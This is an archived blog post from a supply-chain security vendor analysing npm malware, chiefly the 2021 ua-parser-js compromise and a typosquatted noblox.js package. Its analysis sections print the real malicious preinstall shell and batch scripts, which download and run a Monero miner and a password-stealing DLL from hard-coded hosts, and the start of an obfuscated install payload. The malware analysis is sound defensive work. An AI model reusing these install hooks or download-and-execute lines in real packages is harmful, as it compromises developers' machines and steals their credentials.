See: https://codepen.io/tigt/post/meta-viewport-for-2015 --> | |||
<meta name="viewport" content="width=device-width,initial-scale=1"> | |||
<!-- Required to make a valid HTML5 document. --> | |||
<title>What’s Really Going On Inside Your node_modules Folder? (archive) — David Larlet</title> | |||
<meta name="description" content="Publication mise en cache pour en conserver une trace."> | |||
<!-- That good ol' feed, subscribe :). --> | |||
<link rel="alternate" type="application/atom+xml" title="Feed" href="/david/log/"> | |||
<!-- Generated from https://realfavicongenerator.net/ such a mess. --> | |||
<link rel="apple-touch-icon" sizes="180x180" href="/static/david/icons2/apple-touch-icon.png"> | |||
<link rel="icon" type="image/png" sizes="32x32" href="/static/david/icons2/favicon-32x32.png"> | |||
<link rel="icon" type="image/png" sizes="16x16" href="/static/david/icons2/favicon-16x16.png"> | |||
<link rel="manifest" href="/static/david/icons2/site.webmanifest"> | |||
<link rel="mask-icon" href="/static/david/icons2/safari-pinned-tab.svg" color="#07486c"> | |||
<link rel="shortcut icon" href="/static/david/icons2/favicon.ico"> | |||
<meta name="msapplication-TileColor" content="#f7f7f7"> | |||
<meta name="msapplication-config" content="/static/david/icons2/browserconfig.xml"> | |||
<meta name="theme-color" content="#f7f7f7" media="(prefers-color-scheme: light)"> | |||
<meta name="theme-color" content="#272727" media="(prefers-color-scheme: dark)"> | |||
<!-- Documented, feel free to shoot an email. --> | |||
<link rel="stylesheet" href="/static/david/css/style_2021-01-20.css"> | |||
<!-- See https://www.zachleat.com/web/comprehensive-webfonts/ for the trade-off. --> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<script> | |||
function toggleTheme(themeName) { | |||
document.documentElement.classList.toggle( | |||
'forced-dark', | |||
themeName === 'dark' | |||
) | |||
document.documentElement.classList.toggle( | |||
'forced-light', | |||
themeName === 'light' | |||
) | |||
} | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme !== 'undefined') { | |||
toggleTheme(selectedTheme) | |||
} | |||
</script> | |||
<meta name="robots" content="noindex, nofollow"> | |||
<meta content="origin-when-cross-origin" name="referrer"> | |||
<!-- Canonical URL for SEO purposes --> | |||
<link rel="canonical" href="https://socket.dev/blog/inside-node-modules"> | |||
<body class="remarkdown h1-underline h2-underline h3-underline em-underscore hr-center ul-star pre-tick" data-instant-intensity="viewport-all"> | |||
<article> | |||
<header> | |||
<h1>What’s Really Going On Inside Your node_modules Folder?</h1> | |||
</header> | |||
<nav> | |||
<p class="center"> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="https://socket.dev/blog/inside-node-modules" title="Lien vers le contenu original">Source originale</a> | |||
</p> | |||
</nav> | |||
<hr> | |||
<h2>Let me tell you a story...</h2> | |||
<p>On January 13, 2012, over ten year ago, a developer named Faisal Salman | |||
published a new project to GitHub called <code>ua-parser-js</code> and it parsed user agent | |||
strings. Lots of people found this project useful. Over the next 10 years, | |||
Faisal continued to develop the package along with help from many open source | |||
contributors. It eventually grew to 7 million downloads per week and was used by | |||
nearly 3 million GitHub repositories.</p> | |||
<h2>Now, let me tell you a different story...</h2> | |||
<p>On October 5th, 2021 on a notorious Russian hacking forum, this post appeared:</p> | |||
<pre><code class="hljs language-md">I sell a development account on npmjs.com, more than 7 million installations | |||
every week, more than 1000 others are dependent on this. | |||
There is no 2FA on the account. Login and password access. The password is | |||
enough to change your email. | |||
Suitable for distributing installations, miners, creating a botnet | |||
Start $10k | |||
Step $1k | |||
Blitz $20k | |||
</code></pre> | |||
<p>This hacker was offering to sell the password to an npm account that controlled a package with over 7 million weekly downloads. His asking price was $20,000 USD for the password.</p> | |||
<h2>This is where the two stories intersect</h2> | |||
<p>Two weeks later, on Friday, October 22, 2021 at 12:15pm GMT, <code>ua-parser-js</code> was compromised. Three malicious versions were published – <code>0.7.29</code>, <code>0.8.0</code>, and <code>1.0.0</code> – which contained malware. The malware was particularly nasty and it caught everyone by surprise.</p> | |||
<h2>Anatomy of a supply chain attack</h2> | |||
<p>Let's take a look at what that malware does. This is the <code>package.json</code> file for one of the | |||
compromised versions:</p> | |||
<h3><code>package.json</code></h3> | |||
<pre><code class="hljs language-json">{ | |||
<span class="hljs-attr">"title"</span>: <span class="hljs-string">"UAParser.js"</span>, | |||
<span class="hljs-attr">"name"</span>: <span class="hljs-string">"ua-parser-js"</span>, | |||
<span class="hljs-attr">"version"</span>: <span class="hljs-string">"0.7.29"</span>, | |||
<span class="hljs-attr">"author"</span>: <span class="hljs-string">"Faisal Salman <<a href="https://socket.dev/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="13755375727a60727f7e727d3d707c7e">[email protected]</a>> (http://faisalman.com)"</span>, | |||
<span class="hljs-attr">"description"</span>: <span class="hljs-string">"Lightweight JavaScript-based user-agent string parser"</span>, | |||
<span class="hljs-attr">"main"</span>: <span class="hljs-string">"src/ua-parser.js"</span>, | |||
<span class="hljs-attr">"scripts"</span>: { | |||
<span class="hljs-attr">"preinstall"</span>: <span class="hljs-string">"start /B node preinstall.js & node preinstall.js"</span>, | |||
<span class="hljs-attr">"build"</span>: <span class="hljs-string">"uglifyjs src/ua-parser.js ..."</span>, | |||
<span class="hljs-attr">"test"</span>: <span class="hljs-string">"jshint src/ua-parser.js && mocha -R nyan test/test.js"</span>, | |||
<span class="hljs-attr">"test-ci"</span>: <span class="hljs-string">"jshint src/ua-parser.js && mocha -R spec test/test.js"</span> | |||
} | |||
} | |||
</code></pre> | |||
<p>You'll see that it uses a pre-install script, so this means that the command <code>start /B node preinstall.js & node preinstall.js</code> will run automatically anytime this package is installed.</p> | |||
<p>Let's take a look at the <code>preinstall.js</code> script:</p> | |||
<h3><code>preinstall.js</code></h3> | |||
<pre><code class="hljs language-js"><span class="hljs-keyword">const</span> { exec } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'child_process'</span>) | |||
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">terminalLinux</span>(<span class="hljs-params"></span>) </span>{ | |||
exec(<span class="hljs-string">'/bin/bash preinstall.sh'</span>, <span class="hljs-function">(<span class="hljs-params">error, stdout, stderr</span>) =></span> { | |||
<span class="hljs-keyword">if</span> (error) { | |||
<span class="hljs-built_in">console</span>.log(<span class="hljs-string">`error: <span class="hljs-subst">${error.message}</span>`</span>) | |||
<span class="hljs-keyword">return</span> | |||
} | |||
<span class="hljs-keyword">if</span> (stderr) { | |||
<span class="hljs-built_in">console</span>.log(<span class="hljs-string">`stderr: <span class="hljs-subst">${stderr}</span>`</span>) | |||
<span class="hljs-keyword">return</span> | |||
} | |||
<span class="hljs-built_in">console</span>.log(<span class="hljs-string">`stdout: <span class="hljs-subst">${stdout}</span>`</span>) | |||
}) | |||
} | |||
<span class="hljs-keyword">var</span> opsys = process.platform | |||
<span class="hljs-keyword">if</span> (opsys == <span class="hljs-string">'darwin'</span>) { | |||
opsys = <span class="hljs-string">'MacOS'</span> | |||
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (opsys == <span class="hljs-string">'win32'</span> || opsys == <span class="hljs-string">'win64'</span>) { | |||
opsys = <span class="hljs-string">'Windows'</span> | |||
<span class="hljs-keyword">const</span> { spawn } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'child_process'</span>) | |||
<span class="hljs-keyword">const</span> bat = spawn(<span class="hljs-string">'cmd.exe'</span>, [<span class="hljs-string">'/c'</span>, <span class="hljs-string">'preinstall.bat'</span>]) | |||
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (opsys == <span class="hljs-string">'linux'</span>) { | |||
opsys = <span class="hljs-string">'Linux'</span> | |||
terminalLinux() | |||
} | |||
</code></pre> | |||
<p>The first thing you'll see is that it runs a different payload depending on the victim's operating system. On Linux, the malware executes <code>preinstall.sh</code>, while on Windoews it executes <code>preinstall.bat</code>. Mac users got lucky – there was no Mac payload. Perhaps the attacker ran out of time to finish the Mac version, or didn't have a Mac to test on?</p> | |||
<p>Now let's take a look at what <code>preinstall.sh</code> does:</p> | |||
<h3><code>preinstall.sh</code></h3> | |||
<pre><code class="hljs language-sh">IP=$(curl -k https://freegeoip.app/xml/ | grep <span class="hljs-string">'RU\|UA\|BY\|KZ'</span>) | |||
<span class="hljs-keyword">if</span> [ -z <span class="hljs-string">"<span class="hljs-variable">$IP</span>"</span> ] | |||
<span class="hljs-keyword">then</span> | |||
var=$(pgrep jsextension) | |||
<span class="hljs-keyword">if</span> [ -z <span class="hljs-string">"<span class="hljs-variable">$var</span>"</span> ] | |||
<span class="hljs-keyword">then</span> | |||
curl http://159.148.186.228/download/jsextension -o jsextension | |||
<span class="hljs-keyword">if</span> [ ! -f jsextension ] | |||
<span class="hljs-keyword">then</span> | |||
wget http://159.148.186.228/download/jsextension -O jsextension | |||
<span class="hljs-keyword">fi</span> | |||
chmod +x jsextension | |||
./jsextension -k --tls --rig-id q -o pool.minexmr.com:443 -u <redacted> \ | |||
--cpu-max-threads-hint=50 --donate-level=1 --background &>/dev/null & | |||
<span class="hljs-keyword">fi</span> | |||
<span class="hljs-keyword">fi</span> | |||
</code></pre> | |||
<p>The very first line fetches the victim's country code using their IP address. If the victim is from Russia, Ukraine, Belarus, or Kazakhstan, then the malware exits early. Presumably the attacker comes from one of these countries and doesn't want to antagonize their local law enforcement. This is a common technique in malware.</p> | |||
<p>Next, there's a check using <code>pgrep</code> to see if the malware – a process named <code>jsextension</code> – is already running. If so, then the malware exits early.</p> | |||
<p>Otherwise, the script proceeds to download a file from an IP address, mark that file as executable, and then run it. Based on these command line flags, the program appears to be a Monero miner. This program will mine the Monero cryptocurrency for the attacker, wasting the victim's CPU cycles and potentially driving up their electricity or cloud hosting bill.</p> | |||
<p>The payload for Windows users is quite similar, with one extra twist:</p> | |||
<h3><code>preinstall.bat</code></h3> | |||
<pre><code class="hljs language-bat">@<span class="hljs-built_in">echo</span> off | |||
curl http://<span class="hljs-number">159</span>.<span class="hljs-number">148</span>.<span class="hljs-number">186</span>.<span class="hljs-number">228</span>/download/jsextension.exe -o jsextension.exe | |||
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">exist</span> jsextension.exe ( | |||
wget http://<span class="hljs-number">159</span>.<span class="hljs-number">148</span>.<span class="hljs-number">186</span>.<span class="hljs-number">228</span>/download/jsextension.exe -O jsextension.exe | |||
) | |||
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">exist</span> jsextension.exe ( | |||
certutil.exe -urlcache -f http://<span class="hljs-number">159</span>.<span class="hljs-number">148</span>.<span class="hljs-number">186</span>.<span class="hljs-number">228</span>/download/jsextension.exe jsextension.exe | |||
) | |||
curl https://citationsherbe.<span class="hljs-built_in">at</span>/sdd.dll -o create.dll | |||
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">exist</span> create.dll ( | |||
wget https://citationsherbe.<span class="hljs-built_in">at</span>/sdd.dll -O create.dll | |||
) | |||
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">exist</span> create.dll ( | |||
certutil.exe -urlcache -f https://citationsherbe.<span class="hljs-built_in">at</span>/sdd.dll create.dll | |||
) | |||
<span class="hljs-built_in">set</span> exe_1=jsextension.exe | |||
<span class="hljs-built_in">set</span> "count_1=<span class="hljs-number">0</span>" | |||
>tasklist.temp ( | |||
tasklist /NH /FI "IMAGENAME eq <span class="hljs-variable">%exe_1%</span>" | |||
) | |||
<span class="hljs-keyword">for</span> /f <span class="hljs-variable">%%x</span> <span class="hljs-keyword">in</span> (tasklist.temp) <span class="hljs-keyword">do</span> ( | |||
<span class="hljs-keyword">if</span> "<span class="hljs-variable">%%x</span>" <span class="hljs-keyword">EQU</span> "<span class="hljs-variable">%exe_1%</span>" <span class="hljs-built_in">set</span> /a count_1+=<span class="hljs-number">1</span> | |||
) | |||
<span class="hljs-keyword">if</span> <span class="hljs-variable">%count_1%</span> <span class="hljs-keyword">EQU</span> <span class="hljs-number">0</span> (<span class="hljs-built_in">start</span> /B .\jsextension.exe -k --tls --rig-id q -o pool.minexmr.com:<span class="hljs-number">443</span> -u <redacted> \ | |||
--cpu-max-threads-hint=<span class="hljs-number">50</span> --donate-level=<span class="hljs-number">1</span> --background & regsvr32.exe -s create.dll) | |||
<span class="hljs-built_in">del</span> tasklist.temp | |||
</code></pre> | |||
<p>On Windows, the malware not only downloads a Monero miner (<code>jsextension.exe</code>), but it downloads a .DLL file as well.</p> | |||
<p>After starting the Monero miner, the malware registers the .DLL file by running <code>regsvr32.exe -s create.dll</code>. This .DLL file steals passwords from over 100 different programs on the Windows machine as well as all the passwords in the Windows credential manager.</p> | |||
<p>Yikes!</p> | |||
<div class="css-1f97hpy"><div class="css-f3ylvk"><aside class="chakra-heading css-1vbay5q"><p>This DLL file steals passwords from over 100 different programs on the Windows | |||
machine as well as all the passwords in the Windows credential manager</p></aside></div></div> | |||
<p>This is a really nasty piece of malware. Anyone unlucky enough to run this lost all their passwords and had to do a complete reset of their online accounts – not a fun time!</p> | |||
<h2>Aftermath</h2> | |||
<p>The malicious package was available for about four hours. The open source | |||
community, as well as the maintainer, did quite well at finding and reporting | |||
the problem to npm who were able to remove it. Despite things going quite well | |||
by historical standards – 4 hours is a very quick turnaround time – tens of | |||
thousands of malicious downloads still took place. Even a few minutes is a lot a | |||
package gets 7 million weekly downloads!</p> | |||
<p>Anyone who ran <code>npm install ua-parser-js</code> was compromised. Anyone who installed | |||
a package that depended on <code>ua-parser-js</code> was also compromised, including | |||
important packages such as <code>react-native</code>. Anyone running <code>npm install</code> without | |||
a <code>package-lock.json</code> file was compromised. Anyone unlucky enough to update to a | |||
new version of <code>ua-parser-js</code>, whether manually with <code>npm update</code> or through an | |||
automated pull request such as from Dependabot, was compromised.</p> | |||
<h2>Just the tip of the iceberg</h2> | |||
<p>This is really just the tip of the iceberg. At <a class="chakra-link css-f4h6uy" href="https://socket.dev/">Socket</a>, we've been tracking packages that are <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/category/removed">removed from npm for security reasons</a>. We've seen over 700 packages removed for security reasons in the last 30 days, and this trend is accelerating.</p> | |||
<p>Attackers are taking advantage of the open ecosystem and the implicit trust that maintainers have for each other through the liberal contribution policies that have become common in the modern open source era.</p> | |||
<p>We predict that 2022 will be the "year of software supply chain security" as the | |||
awareness of this issue has exploded due to several massive software supply | |||
chain attacks such as SolarWinds as well as near weekly npm attacks in the news. | |||
It feels like we've reached a breaking point and developers, companies, and | |||
governments finally seem ready to take action to protect the open source | |||
ecosystem.</p> | |||
<p>One question you might ask, though, is...</p> | |||
<h2>Why is this happening now?</h2> | |||
<p>I want to start by just pointing out that what we're trying to do here is kind of crazy. We want to:</p> | |||
<ul> | |||
<li>Download <strong>code</strong></li> | |||
<li>from the <strong>internet</strong></li> | |||
<li>written by <strong>unknown individuals</strong></li> | |||
<li>that we <strong>haven't read</strong></li> | |||
<li>that we <strong>execute</strong></li> | |||
<li>with <strong>full permissions</strong></li> | |||
<li>on our <strong>laptops and servers</strong></li> | |||
<li>where we keep our <strong>most important data</strong></li> | |||
</ul> | |||
<p>This is what we're doing every day when we use <code>npm install</code>. It's a <em>miracle</em> that this system works – and that it's continued to <em>mostly</em> work for this long!</p> | |||
<p>It's a testament to the fact that most people are good. But, unfortunately, not | |||
everyone is is good. And even more unfortunately, even just a small handful of bad actors in the ecosystem can cause massive supply chain attacks that shake our trust in open source code.</p> | |||
<p>Now let's let's dive into why this is happening now.</p> | |||
<h2>1. 90% of the lines of code in your app comes from open source</h2> | |||
<p>We're standing on the shoulders of giants. Open source is the reason we can get | |||
an app off the ground in hours and days instead of weeks or months. It's the | |||
reason that we don't need to be an expert in cryptography or timezones or | |||
network protocols to build a powerful, modern software application.</p> | |||
<p>It's also the reason why your <code>node_modules</code> folder is one of the heaviest | |||
objects in the universe.</p> | |||
<h2>2. Lots of transitive dependencies</h2> | |||
<p>Another reason is that we have lots and lots of transitive dependencies. The way | |||
that we write software has changed. We use dependencies a lot more liberally. | |||
Installing even a single dependency often leads to many dozens or hundreds of | |||
transitive dependencies coming in as well.</p> | |||
<p>A 2019 paper at USENIX, found that installing an average npm package introduces an implicit trust on 79 third-party packages and 39 maintainers.</p> | |||
<div class="css-1f97hpy"><div class="css-f3ylvk"><aside class="chakra-heading css-1vbay5q"><p>Installing an average npm package introduces an implicit trust on 79 | |||
third-party packages and 39 maintainers, creating a surprisingly large attack | |||
surface</p></aside><p class="css-1ydr9i">– Markus Zimmermann, Cristian-Alexandru Staicu, Cam Tenny, Michael Pradel ("Small World with High Risks: A Study of Security Threats in the npm Ecosystem")</p></div></div> | |||
<p>Here's another way to look at. We created a visualization to show you what the dependency tree of a typical package looks like. Let's look at <code>webpack</code>, which is a dependency present in many JavaScript projects.</p> | |||
<p>Each gray box represents a package and each purple box represents a file inside a package:</p> | |||
<h3>Webpack, unpacked</h3> | |||
<p><em>The visualization above is interactive. Drag to rotate. Click to navigate to a package or file.</em></p> | |||
<p>As you take away each layer of the dependency tree you'll see that you just keep finding more packages nested inside the top-level package, until you eventually get down to the bottom of the tree.</p> | |||
<p>There are an insane number of files and a lot of packages flying around here.</p> | |||
<h2>3. No one reads the code</h2> | |||
<p>Another reason is that no one really reads the code. Of course, there are some people who do, but by-and-large, people don't look at the code that they're executing on their machines.</p> | |||
<p>One big reason for this is that npm really doesn't make this very easy. If you go to the package page for <code>ua-parser-js</code> and you click on the "Explore" tab, you'll see that you can't even see the files of the package:</p> | |||
<p>So, people have to resort to clicking the GitHub link in the sidebar and going to GitHub and <strong><em>hoping</em></strong> that the code on GitHub matches the code that's on npm, which is not necessarily true. In fact, many of the biggest npm supply chain attacks have taken advantage of this fact.</p> | |||
<p>The lack of people looking at the code inside of npm packages is also a big reason why, on average, npm malware lingers on the registry for 209 days before it's finally reported and removed.</p> | |||
<div class="css-1f97hpy"><div class="css-f3ylvk"><aside class="chakra-heading css-1vbay5q"><p>On average, a malicious package is available for 209 days before being | |||
publicly reported</p></aside><p class="css-1ydr9i">– Marc Ohm, Henrik Plate, Arnold Sykosch, Michael Meier ("Backstabber's Knife Collection: A Review of Open Source Software Supply Chain Attacks")</p></div></div> | |||
<p>When I first read this statistic, I found it hard to believe, but it's been confirmed by further research.</p> | |||
<p>A 2021 paper at NDSS, a prestigious security conference, also found similar results. Even worse, they found that 20% of malware persist in package managers for over 400 days and have more than 1,000 downloads.</p> | |||
<div class="css-1f97hpy"><div class="css-f3ylvk"><p class="css-1ydr9i">– Ruian Duan, Omar Alrawi, Ranjita Pai Kasturi, Ryan Elder, Brendan Saltaformaggio, Wenke Lee</p></div></div> | |||
<p>It's disturbing to realize that npm is filled with landmines that can be set off inadvertently if we make a small typo in one of the many <code>npm install</code> commands we run on a daily basis.</p> | |||
<h2>4. Popular tools give a false sense of security</h2> | |||
<p>And the fourth reason is that popular tools give a false sense of security. A | |||
lot of popular tools – such as Dependabot and Snyk – scan your dependencies for | |||
known vulnerabilities (CVEs). In 2022, this is no longer sufficient. We can't | |||
just scan for known vulnerabilities and stop there. And yet that's what the most | |||
popular supply chain security products do, leaving you vulnerable.</p> | |||
<p>It can take weeks or months for a vulnerability to be discovered, reported, and detected by tools. That's just not fast enough to stop supply chain attacks.</p> | |||
<h3>Known vulnerabilities vs. Malware</h3> | |||
<p>Let's take a second to quickly distinguish between <strong>known vulnerabilities</strong> and | |||
<strong>malware</strong>, because they're very different.</p> | |||
<p><strong>Vulnerabilities</strong> are accidentally introduced by maintainers – the good guys. They | |||
have varying levels of risk and sometimes it's okay to intentionally ship a | |||
known vulnerability to production if it's low impact. Even if you have | |||
vulnerabilities in production they may not be discovered or exploited before you | |||
update to a fixed version. You usually have a bit of time to address these kinds | |||
of issues.</p> | |||
<p><strong>Malware</strong>, on the other hand, is quite different. Malware is intentionally | |||
introduced into a package by an attacker – almost never the maintainer – and it | |||
will always end badly if you ship malware to production. You don't have a few | |||
days or weeks to mitigate the issue. You need to really catch it before you | |||
install it on your laptop or a production server.</p> | |||
<p>But in today's culture of fast development, a malicious dependency can be | |||
updated and merged in a very short amount of time, which leads to an increased risk of supply chain | |||
attacks because the quicker you update your dependencies the fewer eyeballs that | |||
have had a chance to look at the code.</p> | |||
<p>Developers need a new approach to detect and to block malicious dependencies. | |||
But before we get into that, let's look a little deeper into how a supply chain | |||
attack actually works.</p> | |||
<h2>How does a supply chain attack actually work?</h2> | |||
<p>To answer this question, we downloaded every package on npm – 100 GB of metadata and 15 TB of package tarballs. We noticed a few trends in the types of attacks on npm.</p> | |||
<p>Let's go over the top 6 attack vectors (how the attack gets you to run their code) and attack techniques (what the attack code actually does).</p> | |||
<h2>1. Typosquatting</h2> | |||
<p>The most common attack vector is typosquatting.</p> | |||
<p>Typosquatting is when an attacker publishes a package which has a very similar name to a legitimate and popular package.</p> | |||
<p>Take these two packages with very similar names, for instance:</p> | |||
<pre><code class="hljs language-sh">npm install noblox.js-proxied | |||
npm install noblox.js-proxy | |||
</code></pre> | |||
<p>One of these is legitimate and one of these is malware. But which is which? And what if you can't remember and so you just take a guess?</p> | |||
<p>Hopefully you guessed right:</p> | |||
<pre><code class="hljs language-sh">npm install noblox.js-proxied (REAL) | |||
npm install noblox.js-proxy (EVIL) | |||
</code></pre> | |||
<p>Let's crack open the malware package <code>noblox.js-proxy</code> and take a look at it's <code>package.json</code>:</p> | |||
<h3><code>package.json</code></h3> | |||
<pre><code class="hljs language-js">{ | |||
<span class="hljs-string">"name"</span>: <span class="hljs-string">"noblox.js-proxy"</span>, | |||
<span class="hljs-string">"version"</span>: <span class="hljs-string">"1.0.5"</span>, | |||
<span class="hljs-string">"description"</span>: <span class="hljs-string">"A Node.js wrapper for Roblox. (original from sentanos) (proxy edition by DarkDev)"</span>, | |||
<span class="hljs-string">"main"</span>: <span class="hljs-string">"lib/index.js"</span>, | |||
<span class="hljs-string">"types"</span>: <span class="hljs-string">"typings/index.d.ts"</span>, | |||
<span class="hljs-string">"scripts"</span>: { | |||
<span class="hljs-string">"docs"</span>: <span class="hljs-string">"jsdoc -c jsDocsConfig.json -r -t ./node_modules/better-docs"</span>, | |||
<span class="hljs-string">"lint"</span>: <span class="hljs-string">"eslint lib/"</span>, | |||
<span class="hljs-string">"test"</span>: <span class="hljs-string">"jest"</span>, | |||
<span class="hljs-string">"postinstall"</span>: <span class="hljs-string">"node postinstall.js"</span> | |||
}, | |||
<span class="hljs-string">"repository"</span>: { | |||
<span class="hljs-string">"type"</span>: <span class="hljs-string">"git"</span>, | |||
<span class="hljs-string">"url"</span>: <span class="hljs-string">"https://github.com/JxySerr1/noblox.js-proxy.git"</span> | |||
} | |||
} | |||
</code></pre> | |||
<p>Again, you'll notice that it's using an install script – a very common technique that malware uses. If you open up this install script to look at the code, you'll find that the file is heavily | |||
obfuscated:</p> | |||
<pre><code class="hljs language-js">(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">_0x249d1f,_0x2b8f5b</span>)</span>{<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0x4c7bcc</span>(<span class="hljs-params">_0xab39a4,_0x4f1570,_0x2f32bf, | |||
_0x4d98f7,_0x52a9ec</span>)</span>{<span class="hljs-keyword">return</span> _0x1efa(_0x52a9ec-<span class="hljs-number">0x379</span>,_0x4d98f7);}<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0xfe08c3</span> | |||
(<span class="hljs-params">_0x3d9d3c,_0x4ae939,_0x217de2,_0x4278ef,_0x1a1bd1</span>)</span>{<span class="hljs-keyword">return</span> _0x1efa(_0x3d9d3c- -<span class="hljs-number">0x30</span>, | |||
_0x217de2);}<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0x5dee13</span>(<span class="hljs-params">_0x3bf95a,_0x410ef5,_0x6d0f61,_0x402705,_0x3daba2</span>) | |||
</span>{<span class="hljs-keyword">return</span> _0x1efa(_0x410ef5- -<span class="hljs-number">0x6c</span>,_0x3daba2);}<span class="hljs-keyword">const</span> _0x40a390=_0x249d1f(); | |||
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0x4ebfb2</span>(<span class="hljs-params">_0x39433b,_0x180281,_0x29e008,_0x55bd13,_0x265536</span>) | |||
</span>{<span class="hljs-keyword">return</span> _0x1efa(_0x180281-<span class="hljs-number">0x29c</span>,_0x29e008);}<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0x1d9570</span>(<span class="hljs-params">_0xcf31ba,_0x24a2a8, | |||
_0x1361be,_0x2b2b01,_0x2b71bd</span>) | |||
</span>{<span class="hljs-keyword">return</span> _0x1efa(_0xcf31ba-<span class="hljs-number">0x357</span>,_0x24a2a8);}<span class="hljs-keyword">while</span>(!![]){<span class="hljs-keyword">try</span>{<span class="hljs-keyword">const</span> _0xe15807= | |||
-<span class="hljs-built_in">parseInt</span>(_0x4ebfb2(<span class="hljs-number">0x718</span>,<span class="hljs-number">0x638</span>,<span class="hljs-string">'12Eh'</span>,<span class="hljs-number">0x6f0</span>,<span class="hljs-number">0x6f6</span>))/(<span class="hljs-number">0x1e27</span>+-<span class="hljs-number">0x2ac</span>+-<span class="hljs-number">0x1b7a</span>) | |||
+<span class="hljs-built_in">parseInt</span>(_0x4c7bcc(<span class="hljs-number">0x6d5</span>,<span class="hljs-number">0x713</span>,<span class="hljs-number">0x72c</span>,<span class="hljs-string">'JXxJ'</span>,<span class="hljs-number">0x644</span>))/(<span class="hljs-number">0x15</span>*-<span class="hljs-number">0x16e</span>+-<span class="hljs-number">0x19c4</span>+<span class="hljs-number">0x37cc</span>) | |||
+-<span class="hljs-built_in">parseInt</span>(_0x4c7bcc(<span class="hljs-number">0x68d</span>,<span class="hljs-number">0x788</span>,<span class="hljs-number">0x86c</span>,<span class="hljs-string">'JJ[O'</span>,<span class="hljs-number">0x754</span>))/(-<span class="hljs-number">0x89e</span>+<span class="hljs-number">0x2</span>*-<span class="hljs-number">0x928</span>+-<span class="hljs-number">0xb</span>*-<span class="hljs-number">0x273</span>) | |||
*(-<span class="hljs-built_in">parseInt</span>(_0x4ebfb2(<span class="hljs-number">0x64f</span>,<span class="hljs-number">0x62a</span>,<span class="hljs-string">'$53b'</span>,<span class="hljs-number">0x530</span>,<span class="hljs-number">0x55f</span>))/(-<span class="hljs-number">0x2525</span>+<span class="hljs-number">0x7c0</span>+-<span class="hljs-number">0x1</span>*-<span class="hljs-number">0x1d69</span>)) | |||
+-<span class="hljs-built_in">parseInt</span>(_0x4c7bcc(<span class="hljs-number">0x7d6</span>,<span class="hljs-number">0x65e</span>,<span class="hljs-number">0x7e5</span>,<span class="hljs-string">'tOk*'</span>,<span class="hljs-number">0x729</span>))/(<span class="hljs-number">0xc7d</span>+<span class="hljs-number">0x7cc</span>*-<span class="hljs-number">0x1</span>+<span class="hljs-number">0x1</span>*-<span class="hljs-number">0x4ac</span>) | |||
+-<span class="hljs-built_in">parseInt</span>(_0x4ebfb2(<span class="hljs-number">0x544</span>,<span class="hljs-number">0x602</span>,<span class="hljs-string">'!qJ9'</span>,<span class="hljs-number">0x565</span>,<span class="hljs-number">0x6c2</span>))/(-<span class="hljs-number">0x120e</span>+<span class="hljs-number">0x1b1</span>*-<span class="hljs-number">0x17</span>+<span class="hljs-number">0x1f7</span>*<span class="hljs-number">0x1d</span>) | |||
+<span class="hljs-built_in">parseInt</span>(_0xfe08c3(<span class="hljs-number">0x359</span>,<span class="hljs-number">0x28a</span>,<span class="hljs-string">'igej'</span>,<span class="hljs-number">0x404</span>,<span class="hljs-number">0x3e9</span>))/(<span class="hljs-number">0x163</span>*-<span class="hljs-number">0x8</span>+<span class="hljs-number">0x345</span>+<span class="hljs-number">0x192</span>*<span class="hljs-number">0x5</span>) | |||
+-<span class="hljs-built_in">parseInt</span>(_0x4ebfb2(<span class="hljs-number">0x40f</span>,<span class="hljs-number">0x519</span>,<span class="hljs-string">'<a href="https://socket.dev/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="0223423532">[email protected]</a>'</span>,<span class="hljs-number">0x4f5</span>,<span class="hljs-number">0x5a2</span>))/(<span class="hljs-number">0x1</span>*-<span class="hljs-number">0x977</span>+-<span class="hljs-number">0x15a</span>+<span class="hljs-number">0xad9</span>); | |||
<span class="hljs-keyword">if</span>(_0xe15807===_0x2b8f5b)<span class="hljs-keyword">break</span>;<span class="hljs-keyword">else</span> _0x40a390[<span class="hljs-string">'push'</span>](_0x40a390[<span class="hljs-string">'shift'</span>]());} | |||
